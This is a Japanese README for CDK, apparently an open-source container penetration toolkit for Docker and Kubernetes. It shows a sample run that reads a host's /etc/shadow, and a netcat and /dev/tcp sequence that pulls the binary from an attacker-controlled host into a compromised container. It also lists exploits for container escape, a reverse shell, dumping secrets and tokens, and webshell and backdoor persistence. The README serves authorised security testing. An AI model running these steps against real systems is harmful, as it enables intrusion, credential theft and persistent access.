
📦 K8s、Docker、Containerdのセキュリティテストを簡単にします。
英語 | 简体中文

事前の相互同意なしにCDKを使用してターゲットを攻撃することは違法です。CDKはセキュリティテスト目的のみに使用されます。
CDKは、オープンソースのコンテナペネトレーションツールキットであり、OSに依存せずに様々なスリム化されたコンテナで安定したエクスプロイトを提供するように設計されています。便利なネットツールと多くの強力なPoC/EXPが付属しており、コンテナからの脱出やK8sクラスターの乗っ取りを容易にします。
cdk eva を実行して評価情報と推奨エクスプロイトを取得し、次に cdk run を実行して攻撃を開始します。
> ./cdk eva --full
[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.
> ./cdk run cap-dac-read-search
Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
最新リリースを https://github.com/cdk-team/CDK/releases/ からダウンロードします。
実行可能ファイルをターゲットコンテナにドロップしてテストを開始します。
ファイルをアップロードできるエクスプロイトがある場合、CDKバイナリを直接アップロードできます。
RCEエクスプロイトがあるが、ターゲットコンテナに curl や wget がない場合、以下の方法でCDKを配信できます:
(ホスト側)
nc -lvp 999 < cdk
cat < /dev/tcp/(あなたのパブリックホストIP)/(ポート) > cdk
chmod a+x cdk
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Evaluate:
cdk evaluate コンテナ内部の情報を収集して脆弱性を発見します。
cdk evaluate --full 情報収集時にファイルスキャンを有効にします。
Exploit:
cdk run --list 利用可能なエクスプロイトをすべて表示します。
cdk run <exploit> [<args>...] 単一のエクスプロイトを実行します。詳細は https://github.com/cdk-team/CDK/wiki を参照。
Tool:
vi <file> "vi" コマンドのようにコンテナ内のファイルを編集します。
ps "ps -ef" コマンドのようにプロセス情報を表示します。
nc [options] TCP トンネルを作成します。
ifconfig ネットワーク情報を表示します。
kcurl <path> (get|post) <uri> <data> K8s api-server にリクエストを送信します。
ectl <endpoint> get <key> ectd キーの不正列挙を行います。
ucurl (get|post) <socket> <uri> <data> Docker Unix ソケットにリクエストを送信します。
probe <ip> <port> <parallel> <timeout-ms> TCP ポートスキャン、例: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help このヘルプメッセージを表示します。
-v --version バージョンを表示します。
--profile=<name> 評価プロファイルを選択します。
CDKには3つのモジュールがあります:
使い方
cdk evaluate [--full]
利用可能なエクスプロイトをすべて表示:
cdk run --list
ターゲットを指定してエクスプロイトを実行:
cdk run <script-name> [options]
シン版に関する注記: シンリリースは、サーバーレス関数のような短命なコンテナシェル向けに準備されています。ソースコードにビルドタグを追加し、いくつかのエクスプロイトを削除してバイナリを軽量化しています。2MBのファイルにはCDK機能の90%が含まれており、CDKソースコードから有用なエクスプロイトを選んで独自の軽量バイナリをビルドすることもできます。
Linuxのようにコマンドを実行しますが、入力引数が少し異なります。使用法リンクを参照してください。
cdk nc [options]
cdk ps
新しいバージョンのリリース方法、シン版の作成方法、UPXバージョンを提供する理由、all/normal/thin/upxの各バージョンの違い、および特定のCDKエクスプロイトとツールを選択して独自のリリースをコンパイルする方法については、リリースドキュメントを確認してください。
まず、時間を割いて貢献していただきありがとうございます!
以下のコントリビューターに感謝します:
その他のコントリビューター:コントリビューター一覧
バグはGitHub Issuesで追跡されています。現在のCDKバージョン、エラーメッセージ、環境を含めてIssueを作成してください。問題を再現する正確な手順を説明してください。
機能強化の提案はGitHub Discussionsで追跡されています。ここにアイデアを投稿して、開発者と直接議論することができます。
問題の修正やCDKの品質維持:
新機能またはエクスプロイト:

CDKプロジェクトは現在、404Team Starlink Project 2.0 に含まれています。StarLinkコミュニティに参加して、CDK開発チームと連絡を取りましょう。
| 戦術 | スクリプト | サポート | 使用法/例 |
|---|
| 情報収集 | OS基本情報 | ✔ | link |
| 情報収集 | 利用可能なCapabilities | ✔ | link |
| 情報収集 | 利用可能なLinuxコマンド | ✔ | link |
| 情報収集 | マウント | ✔ | link |
| 情報収集 | ネット名前空間 | ✔ | link |
| 情報収集 | 機密ENV | ✔ | link |
| 情報収集 | 機密プロセス | ✔ | link |
| 情報収集 | 機密ローカルファイル | ✔ | link |
| 情報収集 | Kube-proxy Route Localnet(CVE-2020-8558) | ✔ | link |
| 情報収集 | DNSベースのサービスディスカバリ | ✔ | link |
| 発見 | K8s Api-server情報 | ✔ | link |
| 発見 | K8s Service-account情報 | ✔ | link |
| 発見 | クラウドプロバイダーメタデータAPI | ✔ | link |
| 戦術 | テクニック | CDK Exploit名 | サポート | シン版での対応 | ドキュメント |
|---|
| 脱出 | docker-runc CVE-2019-5736 | runc-pwn | ✔ | ✔ | |
| 脱出 | containerd-shim CVE-2020-15257 | shim-pwn | ✔ | link | |
| 脱出 | docker.sock PoC (DIND攻撃) | docker-sock-check | ✔ | ✔ | link |
| 脱出 | docker.sock RCE | docker-sock-pwn | ✔ | ✔ | link |
| 脱出 | Docker API(2375) RCE | docker-api-pwn | ✔ | ✔ | link |
| 脱出 | デバイスマウント脱出 | mount-disk | ✔ | ✔ | link |
| 脱出 | LXCFS脱出 | lxcfs-rw | ✔ | ✔ | link |
| 脱出 | Cgroups脱出 | mount-cgroup | ✔ | ✔ | link |
| 脱出 | 特権のないユーザ名前空間の悪用脱出 CVE-2022-0492 | abuse-unpriv-userns | ✔ | ✔ | link |
| 脱出 | Procfs脱出 | mount-procfs | ✔ | ✔ | link |
| 脱出 | Ptrace脱出 PoC | check-ptrace | ✔ | ✔ | link |
| 脱出 | Cgroupの書き換え(devices.allow) | rewrite-cgroup-devices | ✔ | ✔ | link |
| 脱出 | ホストシステムからの任意ファイル読み取り(CAP_DAC_READ_SEARCH) | cap-dac-read-search | ✔ | ✔ | link |
| 発見 | K8sコンポーネントプローブ | service-probe | ✔ | ✔ | link |
| 発見 | Istio Sidecarメタダンプ | istio-check | ✔ | ✔ | link |
| 発見 | K8s Pod Security Policiesダンプ | k8s-psp-dump | ✔ | link | |
| リモート制御 | リバースシェル | reverse-shell | ✔ | ✔ | link |
| リモート制御 | Kubelet Exec | kubelet-exec | ✔ | ✔ | |
| 資格情報アクセス | レジストリブルートフォース | registry-brute | ✔ | ✔ | link |
| 資格情報アクセス | アクセスキースキャン | ak-leakage | ✔ | ✔ | link |
| 資格情報アクセス | EtcdからK8sトークンを取得 | etcd-get-k8s-token | ✔ | ✔ | |
| 資格情報アクセス | K8s Secretsダンプ | k8s-secret-dump | ✔ | ✔ | link |
| 資格情報アクセス | K8s Configダンプ | k8s-configmap-dump | ✔ | ✔ | link |
| 権限昇格 | K8s RBACバイパス | k8s-get-sa-token | ✔ | ✔ | link |
| 権限昇格 | CVE-2026-31431 copy-fail (非root→root & x86_64のみ) | copy-fail-cve-2026-31431 | ✔ | link | |
| 永続化 | WebShellの展開 | webshell-deploy | ✔ | ✔ | link |
| 永続化 | バックドアPodの展開 | k8s-backdoor-daemonset | ✔ | ✔ | link |
| 永続化 | シャドウK8s api-serverの展開 | k8s-shadow-apiserver | ✔ | link | |
| 永続化 | K8s MITM攻撃 (CVE-2020-8554) | k8s-mitm-clusterip | ✔ | ✔ | link |
| 永続化 | K8s CronJobの展開 | k8s-cronjob | ✔ | ✔ | link |
| コマンド | 説明 | サポート | 使用法/例 |
|---|
| nc | TCPトンネル | ✔ | link |
| ps | プロセス情報 | ✔ | link |
| netstat | 「netstat -antup」コマンドのようなもの | ✔ | |
| ifconfig | ネットワーク情報 | ✔ | link |
| vi | ファイルの編集 | ✔ | link |
| ectl | ectdキーの不正列挙 | ✔ | |
| kcurl | K8s api-serverへのリクエスト | ✔ | link |
| dcurl | Docker HTTP APIへのリクエスト | ✔ | link |
| ucurl | Docker Unixソケットへのリクエスト | ✔ | link |
| rcurl | Docker Registry APIへのリクエスト | ||
| probe | IP/ポートスキャン | ✔ | link |